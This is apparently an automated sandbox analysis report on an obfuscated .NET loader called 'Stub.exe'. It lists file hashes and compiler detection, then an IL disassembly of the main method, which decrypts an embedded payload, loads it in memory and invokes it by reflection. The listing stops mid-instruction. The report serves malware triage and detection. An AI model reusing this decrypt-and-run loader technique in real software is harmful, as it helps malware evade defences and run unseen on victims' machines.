2be8a8c1383f487913a9ebfa81828a18

PE Executable
|
MD5: 2be8a8c1383f487913a9ebfa81828a18
|
Size: 923.14 KB
|
application/x-dosexec

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	2be8a8c1383f487913a9ebfa81828a18
Sha1	1fcca581a0fcd3f723dea820b227af2a379f4495
Sha256	c35d1a4aeb871825d371887c2f08b15597503cf28a2e0164d8fb0b5913ac6612
Sha384	99533c1779dce66e61e780a2d23f5cad10236f3a076de4c69ee6a6050e6f1c58d93022c8effcb89618da7564d67b9e26
Sha512	b6ed08ec48bb650d98702fd0e3a388c87e90ec58a000b69e571ca95e2af1ec30e2c4b3e4457f8b8970a5cb1f8a6a17d9d41eeb4f7065ce78a9c79a0b9c640b6f
SSDeep	24576:kzK4ELuqoIBPvuoqIaJlkOa9mTbM4WlI/sxG:d4ELudclAzgabM4X/so
TLSH	1F150108FB558F02C7982A70E0B35435E3B5A29375B3F78D2E4842A17C537F8995A2DE

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	Stub.exe.exe
Full Name	Stub.exe.exe
EntryPoint	System.Void Stub::Main()
Scope Name	Stub.exe.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Stub.exe
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	46
Main Method	System.Void Stub::Main()
Main IL Instruction Count	504
Main IL	br.s IL_0007: ldc.i4 4 call <null> ldc.i4 4 stloc V_3 br IL_0015: ldloc V_3 ldloc V_3 switch dnlib.DotNet.Emit.Instruction[] br IL_0873: ret nop <null> ldc.i4.s 32 newarr System.Byte dup <null> ldtoken <PrivateImplementationDetails>/FKYieJoBfuCKXoqaoF <PrivateImplementationDetails>::1E890A8CED285D9F97A04AED3098BE5E021943CEFF87A4F7F29ACBDDFEAA13E5 ldsfld yRoZbMQuUH2QCGdqSA7 yRoZbMQuUH2QCGdqSA7::augQ6WHXmY call System.Void yRoZbMQuUH2QCGdqSA7::OHuQ8Ud2hX(System.Array,System.RuntimeFieldHandle,yRoZbMQuUH2QCGdqSA7) stloc.s V_19 ldc.i4 3 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_11606089adef4a34bd7ebfb94bb2bce6 brtrue IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 3 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) nop <null> nop <null> ldloc.s V_20 ldloc.s V_19 ldsfld kYmBe2Qi8U95m5dFPbK kYmBe2Qi8U95m5dFPbK::resQJ6ehex call System.Void kYmBe2Qi8U95m5dFPbK::OHuQ8Ud2hX(System.Object,System.Byte[],kYmBe2Qi8U95m5dFPbK) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_1a4647c5d87d4328a94c7e46d37534a7 brfalse IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) pop <null> ldc.i4 1 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) ldloc V_16 switch dnlib.DotNet.Emit.Instruction[] br IL_0749: nop nop <null> ldloc.s V_2 newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[]) stloc.s V_5 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_a5157b3d03164d97b89d07867339b3f3 brfalse IL_00EE: switch(IL_0100,IL_0677) pop <null> ldc.i4 0 br IL_00EE: switch(IL_0100,IL_0677) ldloc V_9 switch dnlib.DotNet.Emit.Instruction[] br IL_0100: nop nop <null> ldloc.s V_5 ldloc.s V_18 ldc.i4.0 <null> newobj System.Void System.Security.Cryptography.CryptoStream::.ctor(System.IO.Stream,System.Security.Cryptography.ICryptoTransform,System.Security.Cryptography.CryptoStreamMode) stloc.s V_24 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_8470cfc8d6f94469847ceb8b3606c084 brtrue IL_0130: switch(IL_05EA,IL_0142) pop <null> ldc.i4 1 br IL_0130: switch(IL_05EA,IL_0142) ldloc V_4 switch dnlib.DotNet.Emit.Instruction[] br IL_05EA: leave IL_0677 nop <null> newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_7 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_38294cad8dec400088d76bf4668cb17f brfalse IL_016D: switch(IL_017F,IL_054A) pop <null> ldc.i4 0 br IL_016D: switch(IL_017F,IL_054A) ldloc V_0 switch dnlib.DotNet.Emit.Instruction[] br IL_017F: nop nop <null> nop <null> ldloc.s V_24 ldloc.s V_7 ldsfld peZsgcQC6jlmRImuVRk peZsgcQC6jlmRImuVRk::AtKQWFOgcT call System.Void peZsgcQC6jlmRImuVRk::OHuQ8Ud2hX(System.Object,System.IO.Stream,peZsgcQC6jlmRImuVRk) ldc.i4 2 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_c17cc8ccac8043bd9388f5696da1c216 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 15 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc V_17 switch dnlib.DotNet.Emit.Instruction[] br IL_0406: ldloc.s V_15 nop <null> ldloc.s V_10 ldnull <null> ldc.i4.1 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldc.i4.0 <null> newarr System.String stelem.ref <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ldc.i4 12 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldc.i4 -1933971504 ldc.i4 -22205465 xor <null> ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_dd542a8576ea4be695d8a1ed1bfc7abd xor <null> call System.String qIrTQBZ6hFBgSx2jFS.uqEyLC4O6upV6lQIIN::YVppfiYT5(System.Int32) ldsfld frcaOXQPiDR5Gn1xpfY frcaOXQPiDR5Gn1xpfY::sCuQ5ho2cw call System.Void frcaOXQPiDR5Gn1xpfY::OHuQ8Ud2hX(System.String,frcaOXQPiDR5Gn1xpfY) ldc.i4 13 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_9d26a8b657294840aec7e23fc1ed6b08 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 12 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) br IL_046B: ldloc.s V_12 ldc.i4 19 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldloc.s V_7 ldsfld giMo9lQ9weMNmRc90Lq giMo9lQ9weMNmRc90Lq::sooQ1gwwNw call System.Byte[] giMo9lQ9weMNmRc90Lq::OHuQ8Ud2hX(System.Object,giMo9lQ9weMNmRc90Lq) stloc.s V_8 ldc.i4 10 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldloc.s V_10 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ldc.i4 9 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_10 ldnull <null> ldsfld LJaGxoQToDkVhpPnwOp LJaGxoQToDkVhpPnwOp::QayQq5JqJi call System.Boolean LJaGxoQToDkVhpPnwOp::OHuQ8Ud2hX(System.Reflection.MethodInfo,System.Reflection.MethodInfo,LJaGxoQToDkVhpPnwOp) stloc.s V_11 ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_5dcc1b6b90144611a0be3e435c51a507 brfalse IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 0 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_11 brfalse IL_022F: nop ldc.i4 5 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_0065e599d11d423c997fd48c829892a4 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 8 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldc.i4 -881254841 ldc.i4 -42586852 add <null> ldc.i4 -1157918962 xor <null> ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_dd542a8576ea4be695d8a1ed1bfc7abd xor <null> call System.String qIrTQBZ6hFBgSx2jFS.uqEyLC4O6upV6lQIIN::YVppfiYT5(System.Int32) ldsfld frcaOXQPiDR5Gn1xpfY frcaOXQPiDR5Gn1xpfY::sCuQ5ho2cw call System.Void frcaOXQPiDR5Gn1xpfY::OHuQ8Ud2hX(System.String,frcaOXQPiDR5Gn1xpfY) ldc.i4 3 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> br IL_0362: nop ldc.i4 16 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_17ec4765e0944b5ca8a80f89104bc182 brfalse IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 14 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> nop <null> nop <null> br IL_04BC: nop ldc.i4 7 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_4c2e118fdc604065862b79ba99f26bc5 brfalse IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 1 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_14 brfalse IL_0305: nop ldc.i4 4 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_8 ldsfld CvHYltQ44jhFEmkwWGu CvHYltQ44jhFEmkwWGu::ILuQZQrby7 call System.Reflection.Assembly CvHYltQ44jhFEmkwWGu::OHuQ8Ud2hX(System.Byte[],CvHYltQ44jhFEmkwWGu) stloc.s V_15 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_0414df22aa5d4053b38331809bef6784 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 0 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_12 ldc.i4.0 <null> ldelem.ref <null> ldsfld KC6aCRQmUHMM5A50luD KC6aCRQmUHMM5A50luD::G0eQsks0T2 call System.Type KC6aCRQmUHMM5A50luD::OHuQ8Ud2hX(System.Object,KC6aCRQmUHMM5A50luD) ldtoken System.String[] ldsfld qioYhPQMudbQptJTnbV qioYhPQMudbQptJTnbV::e0JQhi65K8 call System.Type qioYhPQMudbQptJTnbV::OHuQ8Ud2hX(System.RuntimeTypeHandle,qioYhPQMudbQptJTnbV) ldsfld cnmBH6QeEUMIsHay8EU cnmBH6QeEUMIsHay8EU::UE2QReqY6t call System.Boolean cnmBH6QeEUMIsHay8EU::OHuQ8Ud2hX(System.Type,System.Type,cnmBH6QeEUMIsHay8EU) br IL_04AE: stloc.s V_14 br IL_04AD: ldc.i4.0 nop <null> br IL_0362: nop ldc.i4 11 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_15 ldsfld eYQNT8Q04aaailn1OCK eYQNT8Q04aaailn1OCK::lk2QYqXPA1 call System.Reflection.MethodInfo eYQNT8Q04aaailn1OCK::OHuQ8Ud2hX(System.Object,eYQNT8Q04aaailn1OCK) stloc.s V_10 ldc.i4 2 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_13 brtrue IL_029C: nop ldc.i4 17 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_06e1be0a0bbb44daa305f85463e5b20e brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 15 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_12 ldlen <null> ldc.i4.0 <null> ceq <null> stloc.s V_13 ldc.i4 5 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_6c801526bd5b49bfbe5c898fbf87badb brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 1 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_12 ldlen <null> conv.i4 <null> ldc.i4.1 <null> bne.un IL_04AD: ldc.i4.0 ldc.i4 6 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_dde3deb09fe1471c8b5baea6a3940132 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 6 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldloc.s V_10 ldsfld FBWxmWQHr05OC5PMu7U FBWxmWQHr05OC5PMu7U::hjIQfLgFxR call System.Reflection.ParameterInfo[] FBWxmWQHr05OC5PMu7U::OHuQ8Ud2hX(System.Object,FBWxmWQHr05OC5PMu7U) stloc.s V_12 ldc.i4 18 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldc.i4.0 <null> stloc.s V_14 ldc.i4 14 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> nop <null> nop <null> leave IL_054A: leave IL_05EA ldloc.s V_7 brfalse IL_052A: endfinally ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_9d26a8b657294840aec7e23fc1ed6b08 brtrue IL_04EC: switch(IL_04FE,IL_0529) pop <null> ldc.i4 0 br IL_04EC: switch(IL_04FE,IL_0529) ldloc V_21 switch dnlib.DotNet.Emit.Instruction[] br IL_04FE: ldloc.s V_7 ldloc.s V_7 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_7aaebb3f91ad472cb8738233424e9740 brtrue IL_04EC: switch(IL_04FE,IL_0529) pop <null> ldc.i4 1 br IL_04EC: switch(IL_04FE,IL_0529) nop <null> endfinally <null> ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_7a7ad733de4b439aa3bc9d08c96d386c brfalse IL_016D: switch(IL_017F,IL_054A) pop <null> ldc.i4 1 br IL_016D: switch(IL_017F,IL_054A) leave IL_05EA: leave IL_0677 ldloc.s V_24 brtrue IL_059E: ldloc.s V_24 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_6c801526bd5b49bfbe5c898fbf87badb brfalse IL_0579: switch(IL_05C9,IL_058F,IL_059E) pop <null> ldc.i4 1 br IL_0579: switch(IL_05C9,IL_058F,IL_059E) ldloc V_22 switch dnlib.DotNet.Emit.Instruction[] br IL_05C9: nop br IL_05CA: endfinally ldc.i4 2 br IL_0579: switch(IL_05C9,IL_058F,IL_059E) ldloc.s V_24 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_e7e9a9402d1346698133a8582adf23ad brfalse IL_0579: switch(IL_05C9,IL_058F,IL_059E) pop <null> ldc.i4 0 br IL_0579: switch(IL_05C9,IL_058F,IL_059E) nop <null> endfinally <null> ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_5b4b5500469843579d246c1729b2e498 brfalse IL_0130: switch(IL_05EA,IL_0142) pop <null> ldc.i4 0 br IL_0130: switch(IL_05EA,IL_0142) leave IL_0677: leave IL_0749 ldloc.s V_5 brfalse IL_0657: endfinally ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_6ec5b23f662e4376b1bf8cb06ad71cd1 brfalse IL_0619: switch(IL_062B,IL_0656) pop <null> ldc.i4 0 br IL_0619: switch(IL_062B,IL_0656) ldloc V_25 switch dnlib.DotNet.Emit.Instruction[] br IL_062B: ldloc.s V_5 ldloc.s V_5 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_611a48bd71a341b499698acbb1128007 brfalse IL_0619: switch(IL_062B,IL_0656) pop <null> ldc.i4 0 br IL_0619: switch(IL_062B,IL_0656) nop <null> endfinally <null> ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_71945950378143d6ad884a1e5137f387 brtrue IL_00EE: switch(IL_0100,IL_0677) pop <null> ldc.i4 1 br IL_00EE: switch(IL_0100,IL_0677) leave IL_0749: nop ldloc.s V_18 brtrue IL_06BC: ldloc.s V_18 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_5199f6cce9574d5e9a5f7e49d7f26104 brfalse IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) pop <null> ldc.i4 0 br IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) ldloc V_6 switch dnlib.DotNet.Emit.Instruction[] br IL_06E7: br IL_06F7 ldloc.s V_18 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_7f27e45f80a84bc7a3384ea5cf542d05 brfalse IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) pop <null> ldc.i4 1 br IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) br IL_06F7: endfinally ldc.i4 2 br IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) nop <null> endfinally <null> ldc.i4 0 ldsfld 